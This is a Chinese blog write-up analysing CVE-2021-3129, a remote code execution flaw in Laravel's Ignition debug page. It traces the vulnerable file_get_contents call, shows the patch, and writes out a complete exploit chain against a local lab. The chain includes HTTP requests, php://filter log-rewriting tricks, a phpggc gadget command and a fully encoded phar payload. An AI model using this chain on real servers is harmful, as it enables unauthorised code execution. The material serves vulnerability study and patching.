本文分享自华为云社区《CVE-2021-3129 分析》，作者：Xuuuu 。

CVE-2021-3129

Tag: php phar | php deserialize

Env搭建

VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv

Source 分析

根据描述，本质上是由于 facade/ignition 引入的问题，直接查看 ignition 的 commit 记录[^1] 看到 \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution 添加了一个安全过滤函数 isSafePath

// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional

public function makeOptional(array $parameters = [])
{
    $originalContents = file_get_contents($parameters['viewFile']);
    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

    $originalTokens = token_get_all(Blade::compileString($originalContents));
    $newTokens = token_get_all(Blade::compileString($newContents));

    $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

    if ($expectedTokens !== $newTokens) {
        return false;
    }

    return $newContents;
}

发现危险函数 file_get_contents ，跟踪函数调用栈

\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run
\Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke
\Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
参数 $parameters['viewFile'] 无过滤，通过 execute-solution 路由可以进行触发，结合官方文档[^2] 可知，在执行 solution 操作时将走到 source 处。

Poc 编写

启动环境后，就出现了一个 igition 的错误修复界面，点击 Generate app key 抓包

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 82
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}

然后修改参数 solution 修改为 MakeViewVariableOptionalSolution 指定 solution

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 163
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "sxv",
        "viewFile": "asdfasdf"
    }
}
HTTP/1.1 500 Internal Server Error
Host: localhost:8000
Date: Tue, 15 Mar 2022 08:00:15 GMT
Connection: close
X-Powered-By: PHP/7.3.21
Cache-Control: no-cache, private
Date: Tue, 15 Mar 2022 08:00:15 GMT
Content-Type: application/json

{
    "message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory",
    ...
}

500 则代表存在漏洞。

EXP 编写

当存在上传点时，直接上传 phar 文件进行反序列化即可，直接快进到第四步触发反序列化

利用思路

无上传点可利用时，我们可以操控 ../storage/logs/laravel.log 日志文件，配合 php://filter的特性来构建 phar 文件，执行反序列化。

清空日志文件

{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "sxv",
        "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"
    }
}

写入合法 phar 文件

[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)  
[stacktrace]  
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)  
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')  
........
#41 {main}  
"}

其中传入的 payload 出现位置

...
[padding] file_get_contents($payload) [padding] file_get_contents($payload)
...
[padding] file_get_contents('$payload[:15]') # 部分payload

由于 php phar#文件结构特性，文件前后允许脏数据存在，所以思路为

构造phar文件，将phar文件经过编码后写入log文件，再通过 php://filter 特性还原phar文件，最后通过 phar://触发

编码特性

base64解码
不符合 base64 标准的字符将被忽略 然后继续解码
utf16 -> utf8
utf16 用两字节表示一个字符, 需要双字节对齐
quoted-printable 邮件编码
将 \0 编码为 =00

<?php
$fp = fopen('php://output', 'w');  
stream_filter_append($fp, 'convert.base64-encode');  
stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');  
stream_filter_append($fp, 'convert.quoted-printable-encode');  
fwrite($fp, "POCCCCCCCCCCCCC");
fclose($fp);
// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
$fp = fopen('php://output', 'w');  
stream_filter_append($fp, 'convert.quoted-printable-decode');  
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  
//stream_filter_append($fp, 'convert.base64-decode');  
fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");  
fclose($fp);
// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁

$fp = fopen('php://output', 'w');  
//stream_filter_append($fp, 'convert.quoted-printable-decode');  
//stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  
stream_filter_append($fp, 'convert.base64-decode');  
fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁");  
fclose($fp);
// POCCCCCCCCCCCCC

?>

发送

// Step 1
"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"
// Step 2
"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

解码报错 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence 观察日志文件

[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')

断定由于 U=00E=009=00D=0... 处被截断导致 quoted-printable 解码报错，第三处位置只显示前15个字符,所以可以通过 'A' * 15进行填充，发送
AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC 出现了两次 payload ，初步符合我们的要求，能够自由控制 storage.log 内容。

那出现两次的 payload 如何解决呢？如果出现两次 payload 或者出现部分残留的base64编码允许的字符将影响后续的base64解码。可以通过在前后通过加填充字符的方式来调整 payload 的第一个字符下标为奇数 or 偶数，从而影响 utf16->utf8 的解码，来使得最终只出现一次 payload

例如发送 'A' * 16
AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解码后成功得到 POCCCCCCCCCCCCC

phar 生成

利用 phpgcc [^3] 生成 phar 文件

> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar
> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote  
d-printable-encode/resource=poc.phar');" 
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...
N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00

完整利用

清空日志

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 196
Accept: application/json
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"
 }
}

发送 phar 文件

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 3222
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"
 }
}

还原 phar 文件
此步骤可通过以下代码验证 phar 文件还原是否成功，或者通过http 200状态码判断

$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log");  
var_export($fix);

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 271
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

触发反序列化

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 167
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "phar://../storage/logs/laravel.log"
 }
}

Patch 修复

\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath 函数对$parameters['viewFile'] 进行了过滤，防止伪协议等。

protected function isSafePath(string $path): bool
{
	if (! Str::startsWith($path, ['/', './'])) {
		return false;
	}
	if (! Str::endsWith($path, '.blade.php')) {
		return false;
	}

	return true;
}

Reference

Laravel8 CVE-2021-3129 复现分析 - TARI TARI
Laravel Debug mode RCE（CVE-2021-3129）复现 - inHann的博客 | inHann’s Blog
Laravel Debug mode RCE（CVE-2021-3129）分析复现 - 先知社区

Footnote

[^1]: Comparing 2.5.1…2.5.2 · facade/ignition
[^2]: Security - Flare Docs
[^3]: ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

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CVE-2021-3129：Laravel远程代码漏洞复现分析